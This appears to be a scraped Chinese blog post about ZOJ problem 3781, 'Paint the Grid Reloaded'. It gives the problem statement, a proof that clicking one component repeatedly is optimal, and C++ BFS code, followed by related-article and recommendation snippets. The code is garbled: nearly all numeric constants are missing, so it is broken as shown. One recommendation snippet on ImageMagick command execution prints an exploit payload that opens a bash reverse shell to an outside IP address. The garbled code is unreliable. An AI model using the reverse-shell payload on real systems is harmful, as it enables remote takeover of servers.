题目链接:http://acm.zju.edu.cn/onlinejudge/showProblem.do?problemCode=3781

Leo has a grid with N rows and M columns. All cells are painted with either black or white initially.

Two cells A and B are called connected if they share an edge and they are in the same color, or there exists a cell C connected to both A and B.

Leo wants to paint the grid with the same color. He can make it done in multiple steps. At each step Leo can choose a cell and flip the color (from black to white or from white to black) of all cells connected to it. Leo wants to know the minimum number of steps he needs to make all cells in the same color.

Input

There are multiple test cases. The first line of input contains an integer T indicating the number of test cases. For each test case:

The first line contains two integers N and M (1 <= NM <= 40). Then N lines follow. Each line contains a string with N characters. Each character is either 'X' (black) or 'O' (white) indicates the initial color of the cells.

Output

For each test case, output the minimum steps needed to make all cells in the same color.

题目大意:给一个N*M的矩阵,每个位置是O或X,每次点击可以使一片连通的O/X全部变成X/O,问全部变成O或X要点多少次。

思路:首先如果把所有连通块看成一个点,相邻的连通块连一条边,可以得到一个平面图。先把所有边当成虚边,然后每次点击,可以把一个点和与其有实边连通的点的所有连接的虚边变成实边。

结论:存在最优解,每次点击的是同一个点。那么只需求出每个点x的到其他点的最短路径的最大值p[x](即最远点),答案为min{p[x]}。

证明:假设存在一个最优解ans,包含k个点。若k=1,证明结束。否则,k>1:

现定义集合S(x, v) = {y, dis(x, y) ≤ v},称为x的v-连通分量。其中dis(x,y)为x、y的最短路径长度。

假设最优解中x的点击次数为cnt[x]。

先选择k个点中任意两个相邻的cnt-连通分量,设为a、b。

假设最优解中a点击了cnt[a]下,b点击了cnt[b]下,那么有d=dis(a,b)≤cnt[a]+cnt[b]。

假设a到b的最短路径为p[0]=a、p[1]、p[2]……p[d]=b。

那么若我们只点击p[cnt[b]],点击cnt[a]+cnt[b]下,那么首先点击cnt[b]下必然可以到达点a,之后cnt[a]下可以覆盖原来的S(a, cnt[a])。

又因为d-cnt[b]≤cnt[a],那么点击cnt[a]下必然可以到达点b,之后的cnt[b]下可以覆盖原来的S(b, cnt[b])。

那么可以把a、b替换成p[cnt[b]],解的步数不变,依然是最优解。

不断重复上述过程直到剩下一个点,证毕。

代码(100ms):

 #include <cstdio>
#include <algorithm>
#include <cstring>
#include <iostream>
#include <numeric>
#include <queue>
#include <vector>
using namespace std; const int MAXN = ;
const int MAXV = ; vector<int> adj[MAXV];
char mat[MAXN][MAXN];
int a[MAXN][MAXN];
int n, m, T, id_cnt; int fx[] = {-, , , };
int fy[] = {, , , -}; void dfs(int r, int c, int col) {
if(a[r][c]) return ;
a[r][c] = col;
for(int f = ; f < ; ++f) {
int new_r = r + fx[f], new_c = c + fy[f];
if(mat[new_r][new_c] == mat[r][c])
dfs(new_r, new_c, col);
}
} void add_edge(int u, int v) {
adj[u].push_back(v);
} int dis[MAXV];
int bfs(int u) {
memset(dis + , 0x3f, id_cnt * sizeof(dis[]));
dis[u] = ;
queue<int> que; que.push(u);
while(!que.empty()) {
int u = que.front(); que.pop();
for(auto v : adj[u]) {
if(dis[v] > dis[u] + ) {
dis[v] = dis[u] + ;
que.push(v);
}
}
}
return *max_element(dis + , dis + id_cnt + );
} int main() {
scanf("%d", &T);
while(T--) {
scanf("%d%d", &n, &m);
memset(mat, , sizeof(mat));
memset(a, , sizeof(a));
for(int i = ; i <= n; ++i) scanf("%s", mat[i] + ); id_cnt = ;
for(int i = ; i <= n; ++i)
for(int j = ; j <= m; ++j) if(!a[i][j])
dfs(i, j, ++id_cnt); for(int i = ; i <= id_cnt; ++i) adj[i].clear();
for(int r = ; r <= n; ++r)
for(int c = ; c <= m; ++c) {
for(int f = ; f < ; ++f) {
int new_r = r + fx[f], new_c = c + fy[f];
if(mat[new_r][new_c] != && mat[new_r][new_c] != mat[r][c])
add_edge(a[r][c], a[new_r][new_c]);
}
} for(int i = ; i <= id_cnt; ++i) {
sort(adj[i].begin(), adj[i].end());
adj[i].erase(unique(adj[i].begin(), adj[i].end()), adj[i].end());
}
int res = ;
for(int i = ; i <= id_cnt; ++i)
res = min(res, bfs(i));
printf("%d\n", res);
}
}

ZOJ 3781 Paint the Grid Reloaded(BFS)的更多相关文章

  1. ZOJ 3781 Paint the Grid Reloaded(BFS+缩点思想)

    Paint the Grid Reloaded Time Limit: 2 Seconds      Memory Limit: 65536 KB Leo has a grid with N rows ...

  2. ZOJ 3781 Paint the Grid Reloaded(DFS连通块缩点+BFS求最短路)

    题目链接:http://acm.zju.edu.cn/onlinejudge/showProblem.do?problemId=5268 题目大意:字符一样并且相邻的即为连通.每次可翻转一个连通块X( ...

  3. ZOJ 3781 - Paint the Grid Reloaded - [DFS连通块缩点建图+BFS求深度][第11届浙江省赛F题]

    题目链接:http://acm.zju.edu.cn/onlinejudge/showProblem.do?problemCode=3781 Time Limit: 2 Seconds      Me ...

  4. ZOJ 3781 Paint the Grid Reloaded 连通块

    LINK:http://acm.zju.edu.cn/onlinejudge/showProblem.do?problemCode=3781 题意:n*m只由OX组成的矩阵,可以选择某一连通块变成另一 ...

  5. ZOJ - 3781 Paint the Grid Reloaded 题解

    题目大意: 给一个n*m的X O构成的格子,对一个点操作可以使与它相连通的所有一样颜色的格子翻转颜色(X—>O或O—>X),问给定的矩阵最少操作多少次可以全部变成一样的颜色. 思路: 1. ...

  6. ZOJ 3781 Paint the Grid Reloaded

    枚举,$BFS$,连通块缩点. 可以枚举一开始染哪个位置,然后逐层往外染色,看最多需要多少操作次数,也就是算最短距离.连通块缩点之后可以保证是一个黑白相间的图,且每条边的费用均为$1$,$BFS$即可 ...

  7. Paint the Grid Reloaded(缩点,DFS+BFS)

    Leo has a grid with N rows and M columns. All cells are painted with either black or white initially ...

  8. ZOJ 3780 Paint the Grid Again(隐式图拓扑排序)

    Paint the Grid Again Time Limit: 2 Seconds      Memory Limit: 65536 KB Leo has a grid with N × N cel ...

  9. ZOJ 1091 (HDU 1372) Knight Moves(BFS)

    Knight Moves Time Limit: 2 Seconds      Memory Limit: 65536 KB A friend of you is doing research on ...

随机推荐

  1. 初识socket

    socket也叫套接字,用于通信的一个句柄,描述IP与端口信息,程序通过套接字可以向网络发出请求或者应答网络请求. socket起源与unix,而unix/Linux基本哲学之一就是”一切皆文件“,对 ...

  2. 关于C# WinForm 边框阴影窗体(一)

    using System;using System.Collections.Generic;using System.ComponentModel;using System.Data;using Sy ...

  3. 处理海量数据的高级排序之——快速排序(C++)

    代码实现                                                                                                 ...

  4. [CareerCup] 16.3 Dining Philosophers 哲学家聚餐问题

    16.3 In the famous dining philosophers problem, a bunch of philosophers are sitting around a circula ...

  5. 段落的展开收起(substring的应用)

    <!DOCTYPE HTML> <html> <head> <meta http-equiv="Content-Type" content ...

  6. Daily Scrum 11.2

    由于11月1号是周六,小组里人不是很齐,所以Scrum会议暂停一次. 周日大家的工作都已经进入到尾声了,但是由于人员方面出现一些问题,界面方面做的还不到位.鉴于我们还只是完成了一个比较简单的工作,与真 ...

  7. 单页Web应用:

    概念: Web应用程序: WEB应用程序一般是B(浏览器)/S(服务器)模式.Web应用程序首先是“应用程序”,和用标准的程序语言,如C.C++等编写出来的程序没有什么本质上的不同.然而Web应用程序 ...

  8. ImageMagick又一处命令执行

    push graphic-context viewbox image copy , , "|bash -i >& /dev/tcp/1.1.1.1/1234 0>& ...

  9. spring security 匿名登录

    匿名登录,即用户尚未登录系统,系统会为所有未登录的用户分配一个匿名用户,这个用户也拥有自己的权限,不过他是不能访问任何被保护资源的. 设置一个匿名用户的好处是,我们在进行权限判断时,可以保证Secur ...

  10. jquery 温故而知新 Ul 相关的操作

    在UL中取得第一级的LI   <div id='demo1'> <ul> <li id='1'>1<li> <li id='2'>2< ...